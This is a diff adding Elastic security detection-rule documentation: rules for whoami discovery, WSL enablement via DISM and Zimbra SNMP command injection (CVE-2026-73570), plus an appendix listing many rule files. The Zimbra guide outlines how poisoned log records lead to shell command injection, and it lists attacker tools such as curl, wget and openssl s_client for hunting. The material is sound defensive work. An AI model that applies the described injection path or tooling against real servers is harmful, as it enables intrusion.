a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-whoami-process-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-whoami-process-activity.asciidoc new file mode 100644 index 0000000000..33835981fe --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-whoami-process-activity.asciidoc @@ -0,0 +1,190 @@ +[[prebuilt-rule-8-19-36-whoami-process-activity]] +=== Whoami Process Activity + +Identifies suspicious use of whoami.exe which displays user, group, and privileges information for the user who is currently logged on to the local system. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: Windows Security Event Logs +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 222 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Whoami Process Activity* + + +After successfully compromising an environment, attackers may try to gain situational awareness to plan their next steps. This can happen by running commands to enumerate network resources, users, connections, files, and installed security software. + +This rule looks for the execution of the `whoami` utility. Attackers commonly use this utility to measure their current privileges, discover the current user, determine if a privilege escalation was successful, etc. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate any abnormal account behavior, such as command executions, file creations or modifications, and network connections. + + +*False positive analysis* + + +- Discovery activities are not inherently malicious if they occur in isolation. As long as the analyst did not identify suspicious activity related to the user or host, such alerts can be dismissed. + + +*Related rules* + + +- Account Discovery Command via SYSTEM Account - 2856446a-34e6-435b-9fb5-f8f040bfa7ed + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and process.name : "whoami.exe" and +( + /* Suspicious parent processes */ + process.parent.name : ( + "wsmprovhost.exe", "w3wp.exe", "wmiprvse.exe", "rundll32.exe", "regsvr32.exe" + ) or + + /* whoami execution under system privileges */ + ( + ( + (?process.Ext.token.integrity_level_name : "System" or ?winlog.event_data.IntegrityLevel : "System") or + ( + user.domain : ("NT *", "* NT", "IIS APPPOOL") and + user.id : ("S-1-5-18", "S-1-5-19", "S-1-5-20", "S-1-5-82-*") and + not (?winlog.event_data.SubjectUserName : "*$" and ?winlog.event_data.SubjectUserName != null) and + + /* Sysmon will always populate user.id as S-1-5-18, leading to FPs */ + not data_stream.dataset : ("windows.sysmon_operational", "windows.sysmon") + ) + ) and + not ( + ( + process.parent.name : "cmd.exe" and + ?process.parent.args : ( + "chcp 437>nul 2>&1 & C:\\WINDOWS\\System32\\whoami.exe /groups", + "chcp 437>nul 2>&1 & %systemroot%\\system32\\whoami /user", + "C:\\WINDOWS\\System32\\whoami.exe /groups", + "*WINDOWS\\system32\\config\\systemprofile*" + ) + ) or + ( + process.parent.executable : "C:\\Windows\\system32\\inetsrv\\appcmd.exe" and + ?process.parent.args : "LIST" + ) or + ( + process.parent.executable : ( + "C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\MonitoringHost.exe", + "C:\\Program Files\\Cohesity\\cohesity_windows_agent_service.exe" + ) + ) + ) + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Owner/User Discovery +** ID: T1033 +** Reference URL: https://attack.mitre.org/techniques/T1033/ +* Technique: +** Name: Permission Groups Discovery +** ID: T1069 +** Reference URL: https://attack.mitre.org/techniques/T1069/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-windows-subsystem-for-linux-enabled-via-dism-utility.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-windows-subsystem-for-linux-enabled-via-dism-utility.asciidoc new file mode 100644 index 0000000000..69389d4b2e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-windows-subsystem-for-linux-enabled-via-dism-utility.asciidoc @@ -0,0 +1,156 @@ +[[prebuilt-rule-8-19-36-windows-subsystem-for-linux-enabled-via-dism-utility]] +=== Windows Subsystem for Linux Enabled via Dism Utility + +Detects attempts to enable the Windows Subsystem for Linux using Microsoft Dism utility. Adversaries may enable and use WSL for Linux to avoid detection. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 218 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Windows Subsystem for Linux Enabled via Dism Utility* + + +The Windows Subsystem for Linux (WSL) lets developers install a Linux distribution (such as Ubuntu, OpenSUSE, Kali, Debian, Arch Linux, etc) and use Linux applications, utilities, and Bash command-line tools directly on Windows, unmodified, without the overhead of a traditional virtual machine or dualboot setup. Attackers may abuse WSL to avoid security protections on a Windows host and perform a wide range of attacks. + +This rule identifies attempts to enable WSL using the Dism utility. It monitors for the execution of Dism and checks if the command line contains the string "Microsoft-Windows-Subsystem-Linux". + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. + + +*False positive analysis* + + +- This is a dual-use tool, meaning its usage is not inherently malicious. Analysts can dismiss the alert if the administrator is aware of the activity, no other suspicious activity was identified, and WSL is homologated and approved in the environment. + + +*Related Rules* + + +- Execution via Windows Subsystem for Linux - db7dbad5-08d2-4d25-b9b1-d3a1e4a15efd +- Suspicious Execution via Windows Subsystem for Linux - 3e0eeb75-16e8-4f2f-9826-62461ca128b7 +- Host Files System Changes via Windows Subsystem for Linux - e88d1fe9-b2f4-48d4-bace-a026dc745d4b +- Windows Subsystem for Linux Distribution Installed - a1699af0-8e1e-4ed0-8ec1-89783538a061 + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type : "start" and + (process.name : "Dism.exe" or ?process.pe.original_file_name == "DISM.EXE") and + process.command_line : "*Microsoft-Windows-Subsystem-Linux*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indirect Command Execution +** ID: T1202 +** Reference URL: https://attack.mitre.org/techniques/T1202/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-zimbra-swatchdog-snmp-command-injection-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-zimbra-swatchdog-snmp-command-injection-execution.asciidoc new file mode 100644 index 0000000000..56da1155d0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-zimbra-swatchdog-snmp-command-injection-execution.asciidoc @@ -0,0 +1,185 @@ +[[prebuilt-rule-8-19-36-zimbra-swatchdog-snmp-command-injection-execution]] +=== Zimbra Swatchdog SNMP Command Injection Execution + +Detects a Unix shell launched by Perl from a generated Zimbra ".swatchdog_script" when the shell command line contains an "snmptrap" invocation and Zimbra SNMP service fields, followed by an unexpected child process other than "snmptrap". This sequence provides high-confidence evidence of external command execution through CVE-2026-73570, an unauthenticated command-injection vulnerability in Zimbra's SNMP monitoring path. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: critical + +*Risk score*: 99 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/en-us/security/blog/2026/09/30/unauthenticated-command-injection-on-internet-facing-mail-servers-tracking-cve-2026-73570/ +* https://wiki.zimbra.com/wiki/Zimbra_Releases/10.1.20 +* https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories +* https://www.cisa.gov/known-exploited-vulnerabilities-catalog?search=CVE-2026-73570 +* https://www.pruva.dev/reproductions/REPRO-2026-00327 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Use Case: Vulnerability +* Tactic: Initial Access +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Vuln: CVE-2026-73570 + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Zimbra Swatchdog SNMP Command Injection Execution* + + +CVE-2026-73570 affects Zimbra Collaboration installations before 10.1.20 when the optional `zimbra-snmp` package is +installed, SNMP notifications are enabled, `zmswatch` is running, and SMTP is attacker-reachable. A crafted SMTP +request can poison `/var/log/zimbra.log` with a forged service-status record. Vulnerable Swatchdog processing captures +the attacker-controlled service value and interpolates it into a Perl backtick expression, causing a Unix shell to +interpret shell grammar embedded in an `snmptrap` command. + +This rule targets execution immediately after the vulnerable boundary rather than one payload, callback domain, or +utility. It requires a shell child of Perl, a generated `.swatchdog_script` parent command line, `snmptrap`, the Zimbra +SNMP service fields, and an additional child process spawned by that shell. A match is very high-confidence evidence +of command injection, even if a downloaded payload was encoded, changed, or never written to disk. Shell-only payloads +that use built-ins or redirection without starting another process are outside this rule and require the companion +network or poisoned-log detection. + + +*Possible investigation steps* + + +- Preserve the complete process tree, command lines, process entity identifiers, executable hashes, environment, open + files, network connections, and memory for the matching shell, Perl parent, and descendant processes. +- Identify the unexpected child process from the second event in the sequence and determine what command, script, or + interpreter it executed. +- Extract the injected command without executing it. Identify callback destinations, downloaded files, output + redirection, background execution, decoders, and commands chained after `snmptrap`. +- Search `/var/log/zimbra.log`, Postfix logs, remote syslog, and rotated records for the preceding forged + `Service status change` text and determine the originating SMTP source. +- Pivot on the shell's `process.entity_id` and descendants for `curl`, `wget`, `ping`, `nslookup`, `id`, interpreters, + JSP writes, Java or `jspawnhelper` shells, named pipes, `openssl s_client`, systemd units, PAM or sudo changes, + `memfd` execution, Zimbra credential access, SSH or rsync, archive creation, and AzCopy. +- Review all Zimbra mailbox and MTA peers for matching process ancestry, files, hashes, service units, webshells, and + cluster movement. Do not scope the incident to only the first server. +- Verify the Zimbra release, `zimbra-mta-patch` level, `zimbra-snmp` package state, notification configuration, and + whether `zmswatch` was running when the event occurred. + + +*False positive analysis* + + +- Confirm whether an approved security test or detection exercise intentionally generated the process event. +- Review the full ancestry and command line before considering an exception. Legitimate vulnerable-path monitoring + should launch `snmptrap`, but not the additional child process required by this rule. +- If a benign fixture is confirmed, constrain any exception to the dedicated test host and time window rather than + excluding Perl, shells, `snmptrap`, or Zimbra paths globally. + + +*Response and remediation* + + +- Isolate the affected Zimbra node while preserving volatile evidence and mail-flow continuity through a known-clean + peer where possible. +- Upgrade all affected nodes to Zimbra Collaboration 10.1.20 or later. Patching does not remove persistence or prove + the server was not previously compromised. +- Scope every cluster node and remove redundant webshells, unauthorized services, PAM or sudo modifications, SSH keys, + local accounts, cron jobs, memory-backed payloads, and remote-access tooling. +- Rebuild confirmed compromised hosts from trusted media. +- Rotate Zimbra service credentials, LDAP/MySQL/Postfix/Amavis secrets, domain pre-authentication keys, token-signing + keys, exposed two-factor secrets, certificates and private keys, active sessions, and cloud transfer tokens. + + +==== Setup + + + +*Setup* + + +This rule requires process events from Elastic Defend on every Zimbra MTA and mailbox node. Use a policy that records +Linux process starts with complete child and parent command lines. Confirm that `process.parent.command_line` retains +the generated `.swatchdog_script` path and that `process.command_line` retains the shell's `snmptrap` command. + +Forward Zimbra and Postfix logs off-host as a companion data source. The matching process sequence proves external +execution behavior, while the preceding poisoned log record can identify the remote SMTP source and submitted text. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=30s + [process where + host.os.type == "linux" and + event.type == "start" and + event.action in ("exec", "exec_event", "start") and + process.name in ("sh", "bash", "dash", "ash", "zsh", "ksh") and + process.parent.name like~ "perl*" and + process.parent.command_line like~ "*.swatchdog_script*" and + process.command_line like~ "*snmptrap*" and + process.command_line like~ "*zmservicename*" and + process.command_line like~ "*zmservicestatus*" + ] by process.entity_id + [process where + host.os.type == "linux" and + event.type == "start" and + event.action in ("exec", "exec_event", "start") and + process.name != "snmptrap" + ] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rules-8-19-36-appendix.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rules-8-19-36-appendix.asciidoc new file mode 100644 index 0000000000..c2f3f82009 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rules-8-19-36-appendix.asciidoc @@ -0,0 +1,289 @@ +["appendix",role="exclude",id="prebuilt-rule-8-19-36-prebuilt-rules-8-19-36-appendix"] += Downloadable rule update v8.19.36 + +This section lists all updates associated with version 8.19.36 of the Fleet integration *Prebuilt Security Detection Rules*. + + +include::prebuilt-rule-8-19-36-potential-prompt-injection-coercing-shell-execution.asciidoc[] +include::prebuilt-rule-8-19-36-first-occurrence-of-a-web-server-segmentation-fault.asciidoc[] +include::prebuilt-rule-8-19-36-first-occurrence-of-a-php-fatal-error-on-a-web-server.asciidoc[] +include::prebuilt-rule-8-19-36-potential-php2shell-exploitation-attempt.asciidoc[] +include::prebuilt-rule-8-19-36-aws-bedrock-agentcore-with-public-network-browser-or-code-interpreter-sandbox.asciidoc[] +include::prebuilt-rule-8-19-36-aws-bedrock-agentcore-gateway-tool-invocation-failure-burst.asciidoc[] +include::prebuilt-rule-8-19-36-entra-id-register-device-with-phishing-kit-or-roadtools-user-agent.asciidoc[] +include::prebuilt-rule-8-19-36-entra-id-application-self-assigned-to-privileged-role.asciidoc[] +include::prebuilt-rule-8-19-36-entra-id-privileged-role-assigned-to-another-account.asciidoc[] +include::prebuilt-rule-8-19-36-gcp-vertex-ai-high-generatecontent-volume-from-single-ip.asciidoc[] +include::prebuilt-rule-8-19-36-gcp-vertex-ai-publisher-model-config-modified.asciidoc[] +include::prebuilt-rule-8-19-36-first-time-gcp-vertex-ai-agent-engine-sandbox-code-execution-by-user-and-source-asn.asciidoc[] +include::prebuilt-rule-8-19-36-github-oauth-application-authorized.asciidoc[] +include::prebuilt-rule-8-19-36-openai-chatgpt-enterprise-unusual-codex-mcp-tool-call.asciidoc[] +include::prebuilt-rule-8-19-36-openai-chatgpt-enterprise-google-drive-sensitive-query-burst.asciidoc[] +include::prebuilt-rule-8-19-36-openai-chatgpt-enterprise-high-codex-mcp-tool-diversity.asciidoc[] +include::prebuilt-rule-8-19-36-openai-chatgpt-enterprise-unusual-mcp-app-activity.asciidoc[] +include::prebuilt-rule-8-19-36-openai-chatgpt-enterprise-slack-query-burst.asciidoc[] +include::prebuilt-rule-8-19-36-openai-chatgpt-enterprise-workspace-log-files-accessed.asciidoc[] +include::prebuilt-rule-8-19-36-openai-chatgpt-enterprise-user-activity-from-high-number-of-countries.asciidoc[] +include::prebuilt-rule-8-19-36-openai-chatgpt-enterprise-assistant-advises-credential-rotation-after-suspected-exposure.asciidoc[] +include::prebuilt-rule-8-19-36-openai-chatgpt-enterprise-codex-prompt-containing-credentials.asciidoc[] +include::prebuilt-rule-8-19-36-openai-chatgpt-enterprise-conversation-message-containing-credentials.asciidoc[] +include::prebuilt-rule-8-19-36-openai-chatgpt-enterprise-multiple-authentication-failures.asciidoc[] +include::prebuilt-rule-8-19-36-openai-chatgpt-enterprise-codex-security-scan-configuration-changed.asciidoc[] +include::prebuilt-rule-8-19-36-openai-chatgpt-enterprise-excessive-conversation-deletion.asciidoc[] +include::prebuilt-rule-8-19-36-openai-chatgpt-enterprise-memory-deleted.asciidoc[] +include::prebuilt-rule-8-19-36-openai-chatgpt-enterprise-repeated-assistant-refusals.asciidoc[] +include::prebuilt-rule-8-19-36-openai-chatgpt-enterprise-workspace-feature-toggled.asciidoc[] +include::prebuilt-rule-8-19-36-openai-chatgpt-enterprise-workspace-log-file-deleted.asciidoc[] +include::prebuilt-rule-8-19-36-openai-chatgpt-enterprise-conversation-shared.asciidoc[] +include::prebuilt-rule-8-19-36-openai-chatgpt-enterprise-resources-sharing-updated.asciidoc[] +include::prebuilt-rule-8-19-36-openai-chatgpt-enterprise-high-file-download-activity.asciidoc[] +include::prebuilt-rule-8-19-36-openai-chatgpt-enterprise-authentication-from-a-suspicious-user-agent.asciidoc[] +include::prebuilt-rule-8-19-36-openai-chatgpt-enterprise-account-owner-role-assigned.asciidoc[] +include::prebuilt-rule-8-19-36-openai-chatgpt-enterprise-app-authentication-linked.asciidoc[] +include::prebuilt-rule-8-19-36-openai-chatgpt-enterprise-codex-access-token-created.asciidoc[] +include::prebuilt-rule-8-19-36-openai-chatgpt-enterprise-unusual-codex-plugin-installed.asciidoc[] +include::prebuilt-rule-8-19-36-openai-chatgpt-enterprise-custom-agent-published.asciidoc[] +include::prebuilt-rule-8-19-36-openai-chatgpt-enterprise-custom-agent-trigger-changed.asciidoc[] +include::prebuilt-rule-8-19-36-openai-chatgpt-enterprise-domain-created.asciidoc[] +include::prebuilt-rule-8-19-36-openai-chatgpt-enterprise-user-invite-sent.asciidoc[] +include::prebuilt-rule-8-19-36-esxi-curl-or-wget-activity.asciidoc[] +include::prebuilt-rule-8-19-36-esxi-multiple-logon-failures-by-user-and-source.asciidoc[] +include::prebuilt-rule-8-19-36-esxi-audit-records-disabled.asciidoc[] +include::prebuilt-rule-8-19-36-esxi-file-made-executable-with-chmod.asciidoc[] +include::prebuilt-rule-8-19-36-esxi-execinstalledonly-protection-disabled.asciidoc[] +include::prebuilt-rule-8-19-36-esxi-firewall-disabled.asciidoc[] +include::prebuilt-rule-8-19-36-esxi-attempt-to-force-install-a-vmware-vib-package.asciidoc[] +include::prebuilt-rule-8-19-36-esxi-host-logs-deleted-with-rm.asciidoc[] +include::prebuilt-rule-8-19-36-esxi-lockdown-mode-disabled.asciidoc[] +include::prebuilt-rule-8-19-36-esxi-shell-command-obfuscation.asciidoc[] +include::prebuilt-rule-8-19-36-esxi-host-prepared-for-an-unsigned-install.asciidoc[] +include::prebuilt-rule-8-19-36-esxi-syslog-remote-host-reset.asciidoc[] +include::prebuilt-rule-8-19-36-esxi-system-and-account-enumeration.asciidoc[] +include::prebuilt-rule-8-19-36-esxi-virtual-disk-files-enumerated.asciidoc[] +include::prebuilt-rule-8-19-36-esxi-virtual-machine-process-list.asciidoc[] +include::prebuilt-rule-8-19-36-esxi-payload-executed-against-datastore.asciidoc[] +include::prebuilt-rule-8-19-36-esxi-virtual-machine-snapshot-removed.asciidoc[] +include::prebuilt-rule-8-19-36-esxi-virtual-machine-powered-off.asciidoc[] +include::prebuilt-rule-8-19-36-esxi-virtual-machine-process-killed.asciidoc[] +include::prebuilt-rule-8-19-36-esxi-root-password-accepted-from-remote-host.asciidoc[] +include::prebuilt-rule-8-19-36-esxi-ssh-access-enabled.asciidoc[] +include::prebuilt-rule-8-19-36-esxi-ssh-session-from-vpxuser.asciidoc[] +include::prebuilt-rule-8-19-36-esxi-local-account-created.asciidoc[] +include::prebuilt-rule-8-19-36-esxi-account-granted-admin-role.asciidoc[] +include::prebuilt-rule-8-19-36-esxi-root-password-changed.asciidoc[] +include::prebuilt-rule-8-19-36-suspicious-linux-process-connection-to-bulletproof-hosting-asn.asciidoc[] +include::prebuilt-rule-8-19-36-hidden-file-created-in-system-directory-by-suspicious-process.asciidoc[] +include::prebuilt-rule-8-19-36-zimbra-swatchdog-snmp-command-injection-execution.asciidoc[] +include::prebuilt-rule-8-19-36-first-time-seen-rmm-service-hostname-from-network-dns.asciidoc[] +include::prebuilt-rule-8-19-36-multiple-rmm-vendors-queried-by-a-single-dns-client.asciidoc[] +include::prebuilt-rule-8-19-36-potential-uninstall-entry-concealment.asciidoc[] +include::prebuilt-rule-8-19-36-connection-to-common-large-language-model-endpoints.asciidoc[] +include::prebuilt-rule-8-19-36-genai-process-connection-to-suspicious-top-level-domain.asciidoc[] +include::prebuilt-rule-8-19-36-genai-process-connection-to-unusual-domain.asciidoc[] +include::prebuilt-rule-8-19-36-genai-process-accessing-sensitive-files.asciidoc[] +include::prebuilt-rule-8-19-36-claude-cowork-vm-boot-image-tamper.asciidoc[] +include::prebuilt-rule-8-19-36-genai-cli-started-with-unsafe-permission-bypass.asciidoc[] +include::prebuilt-rule-8-19-36-unusual-process-modifying-genai-configuration-file.asciidoc[] +include::prebuilt-rule-8-19-36-genai-process-compiling-or-generating-executables.asciidoc[] +include::prebuilt-rule-8-19-36-genai-process-performing-encoding-chunking-prior-to-network-activity.asciidoc[] +include::prebuilt-rule-8-19-36-long-base64-encoded-command-via-scripting-interpreter.asciidoc[] +include::prebuilt-rule-8-19-36-masquerading-space-after-filename.asciidoc[] +include::prebuilt-rule-8-19-36-timestomping-using-touch-command.asciidoc[] +include::prebuilt-rule-8-19-36-cloud-offensive-framework-execution.asciidoc[] +include::prebuilt-rule-8-19-36-aws-ssm-session-manager-child-process-execution.asciidoc[] +include::prebuilt-rule-8-19-36-execution-via-openclaw-agent.asciidoc[] +include::prebuilt-rule-8-19-36-potential-reverse-shell-activity-via-terminal.asciidoc[] +include::prebuilt-rule-8-19-36-potential-data-exfiltration-through-curl.asciidoc[] +include::prebuilt-rule-8-19-36-suspicious-react-server-child-process.asciidoc[] +include::prebuilt-rule-8-19-36-ollama-api-accessed-from-external-network.asciidoc[] +include::prebuilt-rule-8-19-36-anthropic-compliance-audit-log-export-accessed.asciidoc[] +include::prebuilt-rule-8-19-36-anthropic-organization-data-export-accessed.asciidoc[] +include::prebuilt-rule-8-19-36-anthropic-activity-from-a-suspicious-user-agent.asciidoc[] +include::prebuilt-rule-8-19-36-anthropic-excessive-chat-deletion.asciidoc[] +include::prebuilt-rule-8-19-36-anthropic-excessive-chat-access-failures.asciidoc[] +include::prebuilt-rule-8-19-36-anthropic-organization-member-and-group-enumeration.asciidoc[] +include::prebuilt-rule-8-19-36-anthropic-excessive-chat-snapshot-creation.asciidoc[] +include::prebuilt-rule-8-19-36-anthropic-high-file-upload-activity.asciidoc[] +include::prebuilt-rule-8-19-36-anthropic-admin-api-key-deleted.asciidoc[] +include::prebuilt-rule-8-19-36-anthropic-excessive-chat-creation.asciidoc[] +include::prebuilt-rule-8-19-36-anthropic-extra-usage-spend-limit-deleted.asciidoc[] +include::prebuilt-rule-8-19-36-anthropic-admin-role-assigned-to-user.asciidoc[] +include::prebuilt-rule-8-19-36-anthropic-mcp-server-created.asciidoc[] +include::prebuilt-rule-8-19-36-anthropic-organization-domain-boundary-changed.asciidoc[] +include::prebuilt-rule-8-19-36-anthropic-organization-user-invite-sent.asciidoc[] +include::prebuilt-rule-8-19-36-anthropic-sensitive-claude-project-role-assigned-to-user.asciidoc[] +include::prebuilt-rule-8-19-36-anthropic-primary-owner-transferred.asciidoc[] +include::prebuilt-rule-8-19-36-aws-iam-compromisedkeyquarantine-policy-attached-to-user.asciidoc[] +include::prebuilt-rule-8-19-36-aws-bedrock-automated-reasoning-safety-policy-tampering.asciidoc[] +include::prebuilt-rule-8-19-36-aws-bedrock-model-invocation-logging-disabled-or-modified.asciidoc[] +include::prebuilt-rule-8-19-36-aws-bedrock-foundation-model-enumeration-followed-by-invocation-via-long-term-key.asciidoc[] +include::prebuilt-rule-8-19-36-aws-bedrock-high-frequency-single-model-inference-api-probing.asciidoc[] +include::prebuilt-rule-8-19-36-aws-s3-bucket-replicated-to-another-account.asciidoc[] +include::prebuilt-rule-8-19-36-aws-bedrock-api-key-used-for-destructive-or-anti-recovery-action.asciidoc[] +include::prebuilt-rule-8-19-36-aws-bedrock-knowledge-base-or-rag-data-source-tampering.asciidoc[] +include::prebuilt-rule-8-19-36-aws-bedrock-provisioned-model-throughput-tampering.asciidoc[] +include::prebuilt-rule-8-19-36-aws-s3-object-encryption-using-external-kms-key.asciidoc[] +include::prebuilt-rule-8-19-36-aws-s3-object-versioning-suspended.asciidoc[] +include::prebuilt-rule-8-19-36-aws-suspicious-user-agent-fingerprint.asciidoc[] +include::prebuilt-rule-8-19-36-aws-ec2-instance-console-login-via-assumed-role.asciidoc[] +include::prebuilt-rule-8-19-36-aws-bedrock-agent-created-by-iam-user-or-root.asciidoc[] +include::prebuilt-rule-8-19-36-aws-bedrock-agent-or-action-group-manipulation.asciidoc[] +include::prebuilt-rule-8-19-36-aws-bedrock-unauthorized-foundation-model-access-attempt.asciidoc[] +include::prebuilt-rule-8-19-36-aws-bedrock-foundation-model-access-enabled-or-entitlement-granted.asciidoc[] +include::prebuilt-rule-8-19-36-aws-bedrock-unauthorized-resource-based-policy-modification-attempt.asciidoc[] +include::prebuilt-rule-8-19-36-aws-bedrock-resource-based-policy-modified-or-deleted.asciidoc[] +include::prebuilt-rule-8-19-36-aws-bedrock-third-party-or-external-knowledge-base-associated-to-agent.asciidoc[] +include::prebuilt-rule-8-19-36-aws-bedrock-untrusted-model-imported-or-marketplace-endpoint-registered.asciidoc[] +include::prebuilt-rule-8-19-36-aws-bedrock-agentcore-execution-role-used-outside-its-runtime.asciidoc[] 